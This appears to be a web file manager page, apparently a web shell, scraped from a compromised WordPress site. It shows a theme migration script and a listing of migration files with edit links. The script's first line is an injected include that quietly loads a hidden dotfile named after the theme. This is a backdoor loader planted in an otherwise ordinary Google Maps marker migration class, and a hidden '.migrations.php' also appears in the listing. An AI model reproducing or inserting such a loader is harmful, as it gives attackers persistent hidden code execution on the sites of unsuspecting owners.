PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
functions
/
migrations
<?php if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class us_migration_2_2 extends US_Migration_Translator { // Content public function translate_content( &$content ) { return $this->_translate_content( $content ); } public function translate_us_gmaps( &$name, &$params, &$content ) { $changed = FALSE; $markers = array(); for ( $i = 2; $i <= 5; $i ++ ) { if ( ( ! empty( $params['marker' . $i . '_address'] ) ) AND ( ! empty( $params['marker' . $i . '_text'] ) ) ) { $markers[] = array( 'marker_address' => $params['marker' . $i . '_address'], 'marker_text' => rawurldecode( base64_decode( $params['marker' . $i . '_text'] ) ), ); unset( $params['marker' . $i . '_address'] ); unset( $params['marker' . $i . '_text'] ); $changed = TRUE; } } if ( $changed ) { $params['markers'] = rawurlencode( json_encode( $markers ) ); } return $changed; } }
[+]
..
[-] us_migration_3_1.php
[edit]
[-] us_migration_4_5.php
[edit]
[-] us_migration_4_2.php
[edit]
[-] us_migration_3_8.php
[edit]
[-] us_migration_5_5_3.php
[edit]
[-] us_migration_6_0_4.php
[edit]
[-] us_migration_5_5.php
[edit]
[-] us_migration_2_8.php
[edit]
[-] us_migration_5_2.php
[edit]
[-] us_migration_4_3.php
[edit]
[-] us_migration_3_9.php
[edit]
[-] us_migration_4_4.php
[edit]
[-] us_migration_3_0.php
[edit]
[-] us_migration_3_7.php
[edit]
[-] us_migration_5_3.php
[edit]
[-] us_migration_5_4.php
[edit]
[-] us_migration_2_0.php
[edit]
[-] us_migration_2_7.php
[edit]
[-] us_migration_5_7.php
[edit]
[-] us_migration_5_0.php
[edit]
[-] us_migration_2_3.php
[edit]
[-] us_migration_3_8_2.php
[edit]
[-] us_migration_4_1_2.php
[edit]
[-] us_migration_4_7.php
[edit]
[-] us_migration_4_0.php
[edit]
[-] us_migration_3_4.php
[edit]
[-] us_migration_3_3.php
[edit]
[-] us_migration_4_9.php
[edit]
[-] .migrations.php
[edit]
[-] us_migration_4_10.php
[edit]
[-] us_migration_5_8.php
[edit]
[-] us_migration_2_2.php
[edit]
[-] us_migration_4_4_1.php
[edit]
[-] us_migration_5_1.php
[edit]
[-] us_migration_5_6.php
[edit]
[-] us_migration_6_0.php
[edit]
[-] us_migration_3_2.php
[edit]
[-] us_migration_4_8.php
[edit]
[-] us_migration_4_6.php
[edit]
[-] us_migration_4_9_1.php
[edit]